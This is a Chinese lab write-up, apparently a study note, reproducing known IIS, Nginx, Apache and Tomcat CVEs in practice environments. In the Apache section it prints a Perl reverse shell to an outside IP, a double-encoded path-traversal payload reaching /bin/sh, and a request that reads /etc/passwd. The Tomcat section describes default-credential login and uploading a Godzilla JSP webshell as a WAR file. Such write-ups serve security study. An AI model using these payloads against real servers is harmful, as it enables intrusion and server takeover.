服务攻防-中间件安全CVE复现IISApacheTomcatNginx漏洞复现

news2025/1/30 16:24:02

目录

一、导图

二、ISS漏洞

中间件介绍>

1、短文件

2、文件解析

3、HTTP.SYS

4、cve-2017-7269

三、Nignx漏洞

中间件介绍>

1、后缀解析漏洞

2、cve-2013-4547

3、cve-2021-23017 无 EXP

4、cve-2017-7529 意义不大

四、Apache漏洞

中间件介绍>

1、漏洞版本简介

2、cve-2021-42013

3、cve-2021-41773

4、cve-2017-15715

5、cve-2017-9798

6、cve-2018-11759

7、cve-2021-37580

四、Tomcat漏洞

中间件介绍>

1、弱口令猜解

2、cve-2017-12615

3、cve-2020-1938

4、cve-2020-11996

5、cve-2020-9484


一、导图

二、ISS漏洞

<ISS中间件介绍>

        ISS中间件(Internet Security and Acceleration Server Middleware)是微软公司推出的一种安全中间件,旨在提供高效的安全代理服务和网络加速功能。它是Microsoft Proxy Server和Microsoft Firewall产品的继承者,也是Microsoft Forefront TMG(Threat Management Gateway)的前身。

        ISS中间件主要提供以下功能:

  • 安全代理服务:ISS中间件可以作为代理服务器,将内部网络和Internet隔离开来,有效防止内部网络遭受外部攻击和入侵。
  • 访问控制:ISS中间件可以实现灵活的访问控制,根据用户身份、时间、来源IP等多种因素对网络访问进行限制,保护网络安全。
  • 内容过滤:ISS中间件可以对网络流量进行内容过滤,过滤掉不安全的网站和内容,有效避免恶意软件和垃圾邮件等网络威胁。
  • 网络加速:ISS中间件可以对网络流量进行缓存和压缩,加快网络访问速度,提高用户体验。

        需要注意的是,由于Microsoft Forefront TMG已经停止开发和支持,因此ISS中间件也已经成为一种过时的技术。

        ISS这个中间件是Windows上的一个中间件,由于现在的网络环境的情况,ISS这个中间件的使用率已经非常少了,一方面是Windows的份额减少了,另一方面是大部分的web程序使用php、java居多,但是ISS这个中间件在部分情况下不支持,虽然其支持php,但是在php方面使用apache的比较多,所以使用ISS的一般都是一些比较老牌的源码,但是其使用量在变得越来越少了,所以其上面的安全问题就变得越来越少,我们碰到的机率也是越来越小了。


1、短文件

        信息收集。

2、文件解析

        还有点用,但是用处不大。

3、HTTP.SYS

        蓝屏崩溃。

4、cve-2017-7269

        条件过老。

三、Nignx漏洞

<Nignx中间件介绍>

        Nginx是一个高性能、高可靠性的HTTP和反向代理服务器,也可以用作电子邮件代理服务器、TCP代理服务器等。Nginx采用事件驱动的异步架构和轻量级的内存占用,能够处理高并发的网络请求,并且具有高度的可扩展性和灵活性。以下是Nginx的一些主要特点和用途:

  1. 高性能:Nginx采用异步非阻塞的IO模型和高效的事件处理机制,可以快速地处理大量的并发请求。

  2. 可靠性:Nginx在设计时考虑到了故障恢复和容错处理机制,保证了系统的可靠性和稳定性。

  3. 反向代理:Nginx可以作为反向代理服务器,将客户端请求转发到后端的应用程序服务器,实现负载均衡和高可用性。

  4. 静态文件服务:Nginx可以快速地响应静态文件请求,支持文件缓存和gzip压缩,提高了网站的响应速度。

  5. 动态内容处理:Nginx可以通过FastCGI、uWSGI等协议与后端的应用程序服务器进行通信,实现动态内容的处理和渲染。

  6. 安全性:Nginx提供了多种安全功能,如SSL/TLS协议支持、HTTP访问控制、DDoS攻击防御等。

  7. 高可扩展性:Nginx支持模块化的设计,可以通过编写自定义模块来扩展其功能。

        由于其高性能、可靠性和灵活性,Nginx已经成为了广泛使用的服务器软件之一,被广泛用于Web应用、移动应用、物联网、云计算等领域。


1、后缀解析漏洞

        配置不当:该漏洞与 Nginxphp 版本无关,属于用户配置不当造成的解析漏洞。

        启动漏洞环境。

        打开环境对应的网址。

        上传一张图片,抓取数据包,可以看到其中间件版本以及文件存储路径。

        通过上面数据包的内容可知其在漏洞的影响范围内。

        我们可以首先将文件的路径输入到url后面来观察文件是否存在,可以看到文件确实被上传上去了。

        正常来说我们上传的是png图片,是不可能执行处php效果的,但是因为此版本存在漏洞,只需要在url末尾加上一个随便的以php为后缀名的文件,就可以将上传的png内的php代码执行出来。

        上传一个图片马后将url更改成下面的样式,可以看到成功将php代码执行了出来。

2、cve-2013-4547

        这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

        影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

        将靶场环境启动。

        访问靶场页面。

        上传文件抓取数据包可以看到其中间件的版本在漏洞的影响范围内。

        将数据包更改成下面的样式后放包(注意1.jpg后面的空格)。

        可以看到文件成功上传上去了。

        访问上传地址,发现访问不到,因为我们加了空格。

        我们抓取数据包,将数据包内的内容做出下面的修改。

        此时发送数据包后可以看到右面成功执行出了php代码。

3、cve-2021-23017 EXP

4、cve-2017-7529 意义不大

四、Apache漏洞

<Apache中间件介绍>

        Apache是一款开源的跨平台Web服务器软件,具有高度的可靠性、灵活性和可扩展性,是目前全球应用最为广泛的Web服务器软件之一。以下是Apache的一些主要特点和用途:

  1. 可靠性:Apache在设计时考虑到了故障恢复和容错处理机制,能够自动检测并处理运行中出现的故障,提高了系统的可靠性和稳定性。

  2. 可扩展性:Apache具有模块化的设计,可以通过编写自定义模块来扩展其功能,可以根据需要添加或删除模块,提高了软件的灵活性和可扩展性。

  3. 高性能:Apache采用多线程或多进程的架构,可以同时处理多个并发请求,提高了系统的处理能力和性能。

  4. 安全性:Apache提供了多种安全功能,如SSL/TLS协议支持、HTTP访问控制、DDoS攻击防御等,保障了系统的安全性和稳定性。

  5. 反向代理:Apache可以作为反向代理服务器,将客户端请求转发到后端的应用程序服务器,实现负载均衡和高可用性。

  6. 动态内容处理:Apache可以通过FastCGI、uWSGI等协议与后端的应用程序服务器进行通信,实现动态内容的处理和渲染。

  7. 静态文件服务:Apache可以快速地响应静态文件请求,支持文件缓存和gzip压缩,提高了网站的响应速度。

        由于其可靠性、灵活性和可扩展性,Apache被广泛用于Web应用、移动应用、物联网、云计算等领域,是目前应用最广泛的Web服务器软件之一。


1、漏洞版本简介

        Apache HTTP Server 是美国阿帕奇( Apache )基金会的一款开源网页服务器。该服
务器具有快速、可靠且可通过简单的 API 进行扩充的特点,发现 Apache HTTP
Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍
历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文
件不受通常的默认配置 要求全部拒绝 的保护,则这些请求可能会成功。如果还为这些别
名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache
2.4.49 Apache 2.4.50 ,而不影响更早版本。

2、cve-2021-42013

  • RCE
        找到对应漏洞将其环境启动。

        访问靶场地址。

        抓取数据包可以看到其版本。

        生成一个perl将其复制出来。

echo;perl -e 'use 
Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'

        监听反弹的端口。

        使用post请求访问,抓取数据包,将数据包更改成下面的样式。

请求地址:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

        放包之后发现成功接收到了反弹。

        验证发现其可以成功执行命令。

3、cve-2021-41773

  • 目录穿越
  • Apache HTTP Server 2.4.49 2.4.50 版本对路径规范化所做的更改中存在一个路 径穿越漏洞,攻击者可利用该漏洞读取到 Web 目录外的其他文件,如系统配置文件、网 站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

        将靶场环境启动。

        访问靶场地址,可以看到其版本在漏洞影响范围内。

        抓取数据包后将数据包内的地址修改成下面的样式。

/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/
passwd

        放包后可以看到其所有的密码信息。 

        我们可以通过更改url末尾的路径来实现任意文件访问。

4、cve-2017-15715

  • 文件解析
  • Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。

        将靶场环境启动。

        访问漏洞地址

        抓包可以确定其符合漏洞版本。

        上传一个图片文件后抓取数据包。

        将数据包更改成下面的样式,放包后发现被拦截了。

        首先在php的后面加一个空格。

        找到对应位置将其改成0a。

        此时再次放包后可以发现没有被拦截,文件成功被上传了上去。

        我们访问1.php发现访问不到。

        我们抓取数据包。

        在如图所示的位置加上一个%0a,发现就可以正常访问了。

5、cve-2017-9798

        价值不高。

6、cve-2018-11759

        价值不高。

7、cve-2021-37580

        插件问题。

四、Tomcat漏洞

<Tomcat中间件介绍>

        Tomcat是一款开源的Web应用服务器软件,是Apache软件基金会的一个开源项目,其主要用途是运行Java Servlet和Java Server Pages(JSP)程序。以下是Tomcat的一些主要特点和用途:

  1. 轻量级:Tomcat相对于其他的Web服务器软件而言,是一款轻量级的软件,它的安装和配置比较简单,适合中小型企业和个人使用。

  2. Java EE支持:Tomcat可以支持Java EE规范中的一些关键组件,如Servlet、JSP、WebSocket等,方便开发人员进行Java Web应用程序的开发和部署。

  3. 可扩展性:Tomcat支持通过编写自定义的Servlet和Filter等组件来扩展其功能,可以根据需要添加或删除组件,提高了软件的灵活性和可扩展性。

  4. 安全性:Tomcat提供了多种安全功能,如SSL/TLS协议支持、访问控制、身份认证等,保障了Web应用程序的安全性和稳定性。

  5. 高性能:Tomcat采用多线程的架构,可以同时处理多个并发请求,提高了系统的处理能力和性能。

  6. 管理界面:Tomcat提供了一个Web管理界面,可以通过浏览器对服务器进行配置、管理和监控。

  7. 兼容性:Tomcat与其他Java EE服务器(如JBoss、WebLogic等)兼容性良好,可以与其它应用服务器无缝集成。

        由于其轻量级、可扩展性和Java EE支持等特点,Tomcat被广泛用于Web应用程序的开发和部署,是Java Web开发中最受欢迎的Web服务器软件之一。


1、弱口令猜解

  • 配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell。
        找到对应的靶场环境,并将靶场的环境给启动起来。

        打开靶场对应的网站地址。

        点击下图所示的位置。

        进入到了其后台管理的地方,可以看到需要输入账号和密码(其网站的地址为默认的,可以通过直接访问下图中的url来进行尝试)。

        我们使用常见的默认账号密码来进行尝试登录,如果没有登录成功,则可以使用爆破工具来对其进行爆破,如burp suite等。

        这里尝试使用tomcat用户名和密码来尝试进行登录。

        登录后看到下面的页面就说明登录成功了。

        进入到这里我们就可以取得网站权限了,此时上传一个jsp后门即可,但是其不能直接对其进行解析,就需要我们使用war包来进行解析,下面来介绍如何制作war包。

        打开哥斯拉等工具来生成一个马。

         点击生成之后选择jsp,然后点击确定。

        选择保存路径后将其保存。

        将生成的文件进行压缩。

        压缩之后将其后缀名更改为war。

        将修改号文件上传上去。

        此时可以看到我们上传的文件。

        访问这个地址,会返回404错误。

        此时只需要在url后面将文件名给添加上去即可,访问后得到空白页面就是我们想要的结果。

         来到哥斯拉内完成下面的配置之后点击“测试连接” 。

        可以看到测试成功。

        此时点击“添加”即可。

        点击“进入”。

 

        可以看到我们成功进入了网站的后台。

2、cve-2017-12615

  • 文件上传
  • 当存在漏洞的Tomcat运行在Windows/Linux主机上,且启用了HTTP PUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包合任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。
  • 影响版本:Apache Tomcat 7.0.0-7.0.79

        启动漏洞环境。

        访问漏洞网站可以看到下面的页面。

        访问下面的页面。 

        抓取数据包。 

        将数据包更改成下面的样式。 

        放包后可以看到返回了201,即创建了一个返回状态码。

        再次访问,发现页面存在了。

        此时使用哥斯拉进行连接即可,与上面的流程一样,这里就不再进行介绍了。 

3、cve-2020-1938

  • 文件读取
  • Apache TomcatAJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
  • 影响版本:
Tomcat 6.*
Tomcat 7.*< 7.0.100
Tomcat 8.*< 8.5.51
Tomcat 9. < 9.0.31

        启动漏洞环境。

        使用网上下载的exp执行下面的命令来尝试文件读取,可以看到读取成功了。

4、cve-2020-11996

  • 拒绝服务
  • 危害过大,权限无关,意义不大。

5、cve-2020-9484

  • 反序列化
  • 条件苛刻,意义不大。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/521287.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AcWing算法提高课-1.3.5买书

宣传一下算法提高课整理 <— CSDN个人主页&#xff1a;更好的阅读体验 <— 本题链接&#xff08;AcWing&#xff09; 点这里 题目描述 小明手里有n元钱全部用来买书&#xff0c;书的价格为10元&#xff0c;20元&#xff0c;50元&#xff0c;100元。 问小明有多少种买…

【Python--读写模式全解】

读写模式 读写模式语法读取写入追加 小结 读写模式 open() 函数常用形式是接收两个参数&#xff1a;文件名(file)和模式(mode)。 # 读写文件最好用 with...open...操作&#xff0c;这样最安全 # 而且还不需要关闭文件 with open(path,r)as f:f.read() # 一次读取整个文件&…

如何调用API数据接口来获取想要的数据

API&#xff08;Application Programming Interface&#xff09;是连接不同软件和服务的桥梁&#xff0c;允许不同的应用程序之间共享和交换数据。API接口被广泛应用于各种场景&#xff0c;如&#xff1a; 1.移动应用程序&#xff1a;许多移动应用程序使用API接口与服务器通信…

量子计算——新兴领域的前沿技术

随着人类社会文明的不断进步&#xff0c;计算技术也在不断发展。传统计算机在过去的几十年中快速发展&#xff0c;计算速度、存储能力等方面发生了天翻地覆的变化。但随着大数据、人工智能、区块链等新兴领域的迅速崛起&#xff0c;传统计算机的发展似乎面临了瓶颈。在这样的背…

花3个月面过京东测试岗,拿个25K不过分吧?

背景介绍 计算机专业&#xff0c;代码能力一般&#xff0c;之前有过两段实习以及一个学校项目经历。第一份实习是大二暑期在深圳的一家互联网公司做前端开发&#xff0c;第二份实习由于大三暑假回国的时间比较短&#xff08;小于两个月&#xff09;&#xff0c;于是找的实习是在…

java简单接触

文章目录 常用的DOS命名计算机语言的发展史javajava的历史java的版本java的特性和优势JDK、JRE、JVMjava程序的运行机制 常用的DOS命名 # 盘符切换 C:\Users\Administrator>D: D:\> # 查看当前目录下的所有文件 dir # 切换目录 cd change screen # 返回上一级目录 cd ..…

FE_本地存储LocalStorage和SessionStorage

localStorage和sessionStorage一样都是用来存储客户端临时信息的对象。他们均只能存储字符串类型的对象。localStorage生命周期是永久&#xff0c;这意味着除非用户主动在浏览器上清除localStorage信息&#xff0c;否则这些信息将永远存在。sessionStorage的失效时间为当前会话…

Wine运行器3.2.2——修复一些问题

不写太多啥了&#xff0c;详细介绍看这里就行&#xff1a;https://bbs.deepin.org/post/248098 更新内容 ※1. 修改源地址&#xff08;迁出 Gitlink&#xff09;&#xff1b; ※2. 修复非 X86 架构运行器主页面虚拟机工具禁用的问题&#xff1b; 3、部分组件支持选择最优源。 …

C语言——数据类型

1. 变量 1.1变量的概念 变量就是在程序中可以发生变化的量&#xff0c;变量有类型。 变量的类型决定了变量存储占用的空间&#xff0c;以及如何解释存储的位模式。(1字节8位) 1.2定义格式 存储类型 数据类型 变量名&#xff1b;例如&#xff1a;(auto) int a; 变量名是标识…

Unity2d光源的使用

将项目升级为2dURP 安卓UPR插件 新建URP配置文件 (只有完成第一步操作之后才会有创建的选项) 右键>Create>Rendering>URP Asset (with 2D Renderer) 修改Project Settings(项目设置里面的相关设置) Edit>Project Settings>Graphics>设置Scriptable R…

组件弹框传值

1.引入组件 // 编辑干部弹窗 import edit from "../../components/rm/edit.vue"; 2.注册组件 components: {edit,}, 3.使用组件 <edit ref"edit" :visible.sync"editVisible" :rmid"UpFileData.id" :width"editWidth"…

股票量价关系基础知识4

价量配合与价量背离 在股票市场中&#xff0c;价的变化会引起量的变化&#xff0c;量的变化又会引起价的波动。从整体来看&#xff0c;价量关系主要存在两种情况&#xff1a;价量配合和价量背离。 一、价量配合 &#xff08;一&#xff09;基本概念 价量配合&#xff0c;是指股…

leecode255——二叉树的所有路径代码及示例

&#x1f50e;递归法&#xff1a; 既然是递归法&#xff0c;递归三部曲&#xff1a; &#xff08;1&#xff09;确定终止条件: 对二叉树的路径&#xff0c;遍历到叶子节点结束。本题要找到叶子节点才开始处理后续流程&#xff0c;那什么时候算是找到了叶子节点&#xff0c;即…

尚硅谷JUC

文章目录 1. 什么是JUC1.1 JUC简介1.2 进程和线程基本概念2.1 Synchronized2.1.1 Synchronized关键字2.1.2 synchronized实现三个线程卖30张票 2.2 Lock2.2.1 什么是Lock2.2.2 使用Lock实现买票功能2.2.3 两者的区别 3. 线程间通信及定制化通信3.1 使用synchronized实现线程之间…

【Windows线程开发】Windows线程同步技术

我们在上一章节中讲解了关于Windows的线程基础&#xff0c;相信大家已经对线程有了基本的概念。这一章节中&#xff0c;我们来讲讲线程同步技术&#xff0c;包括加锁技术&#xff08;原子锁和互斥体&#xff09;和事件&#xff0c;信号灯。 文章目录 一.原子锁二.互斥体三.事件…

SpringCloud-网关 Gateway

网关Gateway 一、网关初识二、网关的使用1.创建项目并引入依赖2.编写网关配置3.启动服务并测试 三.查看网关路由规则列表四.路由服务的负载均衡五.断言和过滤1.断言Predicate1.1.The Path Route Predicate Factory(路径断言工厂&#xff09;1.2.The After Route Predicate Fact…

【27】linux进阶——rpm软件包的管理

大家好&#xff0c;这里是天亮之前ict&#xff0c;本人网络工程大三在读小学生&#xff0c;拥有锐捷的ie和红帽的ce认证。每天更新一个linux进阶的小知识&#xff0c;希望能提高自己的技术的同时&#xff0c;也可以帮助到大家 另外其它专栏请关注&#xff1a; 锐捷数通实验&…

基于SSM+MySQL的支教管理系统

目录 1、系统介绍 2、系统功能展示 3、运行环境 4、运行效果 5、运行配置 6、下载地址 1、系统介绍 本系统是基于SSM(SpringSpringMVCMyBatis)框架开发的支教管理系统&#xff0c;系统共有超级管理员&#xff0c;系统管理员&#xff0c;支教学校&#xff0c;志愿者这四大…

我的新书上架了!

talk is cheap&#xff0c;show you my book&#xff01; 新书《从0开始学ARM》终于在各大平台上架了&#xff01;&#xff01; 一、关于本书 1. 本书主要内容 ARM体系架构是目前市面上的主流处理器体系架构&#xff0c;在手机芯片和嵌入式芯片领域&#xff0c;ARM体系架构…

前端架构师-week5-命令行交互原理

目录 加餐&#xff1a;命令行交互原理 学习路径 readline 源码分析 如何开发命令行交互列表 实现原理 架构图 本章学习路径和学习目标 readline 的使用方法和实现原理 高能&#xff1a;深入讲解 readline 键盘输入监听实现原理 秀操作&#xff1a;手写 readline 核心实…